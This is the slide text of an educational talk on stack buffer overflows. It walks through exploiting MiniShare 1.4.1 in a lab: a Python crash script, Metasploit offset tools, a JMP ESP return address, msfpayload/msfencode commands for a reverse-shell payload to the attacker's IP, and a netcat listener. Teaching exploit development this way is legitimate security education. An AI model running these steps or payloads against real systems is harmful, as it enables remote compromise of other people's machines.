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 n00bz.net <~~ number 0, not 

letter o

 @n00bznet on twitter

 jason@n00bz.net



 Too much data in a space not designed for it

 Putting 10lbs of stuff in a 5lb bag

 Stack Based (Focus on today)
 Heap Based (That is another show)



 Elias Levy founded Bugtraq mailing list

 Full-Disclosure created as a protest to him selling 
out!

 Wrote “Smashing the Stack for Fun and 
Profit”

 Published in Phrack Magazine 49 (1996)
 The first high-quality public step by step 

introduction to the stack buffer overflow



 To understand this we need to understand 
how a computer really works…

 Intel x86 CPU
 How are processes organized in memory

 Text- Code/Instructions and read-only data

 Data- Static Variables

 Stack <~~  We are going to rough you up!!!!





 Like Legos (LIFO or FILO)
 PUSH and POP

 PUSH adds to the stack

 POP removes the last block on the stack

 Why do we use it?

 Holds the functions and function variables

 User Input

 Data needed by the app



 Stack Pointer (SP) – Top of the Stack
 Frame/Base Pointer (BP) - Bottom of the 

Stack and Fixed Memory Location 

 Used to say variable is this memory address 
related from BP

 Return address- Location of the code that 
called the function so that control can be 
returned



 EIP - Address of next instruction

 ESP - Address for the top of the stack

 EBP - Stack Base Address

 EAX/ECX/EDX - Holds variables and data
for the application



 EIP = Instruction Pointer
 ESP = Stack Pointer
 EAX = Accumulator
 EBX = Base Index
 ECX = Counter
 EDX = Data
 ESI = Source Index
 EDI = Destination Index









 Source Code Review

 Look for The Usual Suspects (Next Slide)

 Good for Open Source

 Reverse Engineering

 Good for Closed Source

 Fuzzing







 Send info into the application and wait for the 
application to crash.

 “A” method

▪ Send a bunch of “A” char through the inputs.

▪ Look for EIP=A=0x41414141 = AAAA

 Or we can use MSF Pattern Create

▪ But lets do A before MSF so you learn…  



 MiniShare 1.4.1

 CVE-2004-2271

Buffer overflow in MiniShare 1.4.1 and earlier 
allows remote attackers to execute arbitrary code 
via a long HTTP GET request

 Download it at: 
http://ftp.heanet.ie/disk1/sourceforge/m/project/
mi/minishare/OldFiles/minishare-1.4.1.exe



 Attacker System: 192.168.20.11

 BackTrack 4

 Victim System: 192.168.10.27

 Windows XP SP2 <~~~ This is important

 MiniShare 1.4.1

 OllyDbg 1.10



 Exploit DB: http://www.exploit-
db.com/exploits/636

 Send a large GET request to the application
 Standard GET request is:

 GET / HTTP/1.1

 The bad request is:

 GET [long string of A characters] 
HTTP/1.1[new_line, carriage_return x 2]

http://www.exploit-db.com/exploits/636
http://www.exploit-db.com/exploits/636
http://www.exploit-db.com/exploits/636


#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, 
socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()



 We need to see what is going on the server.

 We use a debugger for this.  







 EIP- What will the CPU do next?
 ESP- Current Entry on the Stack



 What is in the Stack?

 41= A



 EIP=41414141
 ESP=41414141

Wow… a bunch of A’s.  Thanks for the demo 41 hole!

So What!!!!



 If we could put some of our code in the stack 
which is located at the location stored in ESP

 Shell code

 Meterpreter 

 Any thing you want

 If we could tell the CPU to execute that code

 EIP = Next set of instructions to execute

 EIP point to JMP ESP

 ESP points to our Shell code/ Meterpreter/ Any 
thing you want



 JMP ESP will jump to the memory address 
located in ESP and execute the code located 
in that memory address

 Registers work with memory addresses.

 Registers are pointers

 Registers are not machine code







 Avoid address with zero byte (\x00)

 String Terminator in C and it breaks exploits

 Avoid Line Feed (\x0a)

 It breaks exploits

 Avoid Carriage Return (\x0d)

 Do you sense a common theme?

 Windows .DLL are good

 shell32.dll or user32.dll usually work well





 Try JMP ESP



 We can use 0x7CA58265 of shell32.dll

 No bad characters (\x00\x0a\x0d)



 We need the exact location in the buffer that 
overwrites EIP so we can put in 0x7CA58265

 You didn’t forget that 0x7CA58265 points to JMP 
ESP did you?  Just Checking

 Metasploit has an app for that

 Say Thank you to the Metasploit Team!

 pattern_create.rb



 In BackTrack it is located here:

 /pentest/exploits/framework3/tools/

 ./pattern_create.rb <length of pattern>

 ./pattern_create.rb 2220

 Generates some output (Long)

 Aa0Aa1Aa2Aa3....Cv4Cv5Cv6Cv7Cv8Cv9



Change the old:

buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n“

Into the new:

buffer = "GET “
buffer+= 

("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa....Cv4Cv5Cv6Cv7Cv8
Cv9") <~~~ Paste the full output of pattern_create.rb here

buffer+= " HTTP/1.1\r\n\r\n”



 EIP= 36684345
 ESP = "Ch7Ch8h9....."



 ./pattern_offset.rb 36684335

 1787

 ./pattern_offset.rb Ch7C

 1791

 EIP is overwritten 1787 bytes into the buffer
 ESP is overwritten 1791 bytes into the buffer



 Metasploit again to the rescuse

 Msfpayload

 msfpayload windows/shell_reverse_tcp 
LHOST=192.168.20.11 LPORT=443 C



Do you see the
Problem?

\x00, \x0a and \x0d 



 Use msfencode which takes raw shellcode 
and generates an encoded version without 
the bad characters

 msfpayload windows/shell_reverse_tcp 
LHOST=192.168.20.11 LPORT=443 R | 
msfencode -a x86 -b '\x00\x0a\x0d' -t c





 0x90

 It means “No Operation”

 Adding some at the start of our shell code 
improves stability





 Start up netcat

 nc –nlvvp 443

 Run our exploit code and wait for the 
connection



 ASLR - Address Space Layout Randomization

 Vista and Server ’08 enabled by default

 DEP - Data Execution Prevention

 XP SP2 and newer

 Prevents code execution in nonexecutable 
memory







 The Morris worm spread in part by exploiting a stack buffer overflow in 
the Unix finger server.

 The Witty worm spread by exploiting a stack buffer overflow in the 
Internet Security Systems BlackICE Desktop Agent.

 The Slammer worm spread by exploiting a stack buffer overflow in 
Microsoft's SQL server.

 The Blaster worm spread by exploiting a stack buffer overflow in 
Microsoft DCOM service 

 The Twilight hack was made for the Wii by giving a lengthy character 
name for the horse ('Epona') in The Legend of Zelda: Twilight Princess. 
This caused a stack buffer overflow, allowing arbitrary code to be run on 
an unmodified system. 


